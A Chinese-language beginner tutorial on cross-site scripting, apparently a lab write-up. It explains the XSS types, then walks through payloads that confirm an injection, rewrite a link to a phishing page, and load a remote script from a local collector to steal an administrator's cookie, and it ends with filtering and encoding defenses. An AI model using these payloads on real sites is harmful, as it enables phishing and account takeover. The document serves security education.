初級安全入門——XSS注入的原理與利用

XSS的簡單介紹

  • 跨站腳本攻擊(Cross Site Scripting),爲不和層疊樣式表(Cascading Style Sheets,CSS)的縮寫混淆,故將跨站腳本攻擊縮寫爲XSS。惡意攻擊者往Web頁面裏插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的Script代碼會被執行,從而達到惡意攻擊用戶目的。
  • XSS危害:
    • 流量劫持
    • 獲取用戶cookie信息,盜取賬號
    • 篡改、刪除頁面信息(釣魚)
    • 配合CSRF攻擊,實施進一步攻擊
  • XSS分類
    • 反射型XSS:反射型XSS也被稱爲非持久性XSS,當用戶訪問一個帶有XSS代碼的HTML請求時,服務器端接收數據後處理,然後把帶有XSS的數據發送到瀏覽器,瀏覽器解析這段帶有XSS代碼的數據後,就造成XSS漏洞,這個過程就像一次反射,所以叫反射型XSS。
    • 存儲型XSS:存儲型XSS又被稱爲持久性XSS,存儲型XSS是最危險的一種跨站腳本漏洞,當攻擊者提交一段 XSS代碼後,被服務端接收並存儲,當攻擊者或用戶再次訪問某個頁面時,這段XSS代碼被程序讀出來響應給瀏覽器,造成XSS跨站攻擊,這是存儲型XSS。
    • DOM型:不經過後端,DOM—based XSS漏洞是基於文檔對象模型Document Objeet Model,DOM)的一種漏洞,dom - xss是通過url傳入參數去控制觸發的。

實驗場景一:釣魚攻擊

任務一:

測試管理界面是否存在XSS

小提示:提示錯誤url會返回username的值,閉合前後標籤

在用戶名框中輸入"><script>alert(2)</script>(閉合input標籤)

結果,界面彈窗,證明該系統存在XSS注入

任務二:

上一步驗證得出,該頁面存在XSS漏洞。接下來針對該漏洞進行修改鏈接屬性實現跳轉到釣魚界面

在username=後面加上"><script>document.getElementsByTagName("body")[0].onload=function changeLink(){document.getElementById("myId").href='http://127.0.0.1:8082/wjmm.php';}</script><a(修改忘記密碼a標籤的href,使其指向釣魚網站)

點擊忘記密碼,進入了釣魚網站

實驗場景二:盜取cookie

任務一:

將js代碼</textarea>'"><script src=http://127.0.0.1:8081/xss/cGMiSw?1555397544></script>; 發表在文章管理系統的留言板上(該地址指向存放接收信息的服務器上的js路徑)

任務二:

當後臺管理員審覈留言(或者其他用戶查看到該留言)時,觸發頁面執行js腳本,將瀏覽器的cookie發送到接收服務器

收到cookie後,手動給瀏覽器添加對應cookie

實現僞造管理員(用戶)登錄

XSS漏洞防範

  • XSS的威力主要是取決於JavaScript能夠實現的程度,XSS跨站腳本的形成原因是對輸入輸出沒有嚴格過濾,導致在頁面上可以執行JavaScript等客戶端代碼,所以只要將敏感字符過濾,就可以修復XSS跨站漏洞。
  • 修復和防範方法:
    • 三種類型的XSS漏洞都可以通過過濾或編碼進行修復。
    • 反射型XSS和存儲型XSS可以在服務端對用戶輸入輸出的內容過濾和編碼操作,將關鍵字進行過濾處理,關鍵符號進行編碼處理,如將所有on事件,script等關鍵字進行過濾,將所有<,>,”,’,=等特殊符號進行實體化編碼或url編碼便可以修復。
    • DOM型XSS如有在服務端進行交互,也可參考上述的方法進行修復,如未和服務端進行交互,可在客戶端使用JavaScript等客戶端腳本語言進行編碼和過濾處理。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章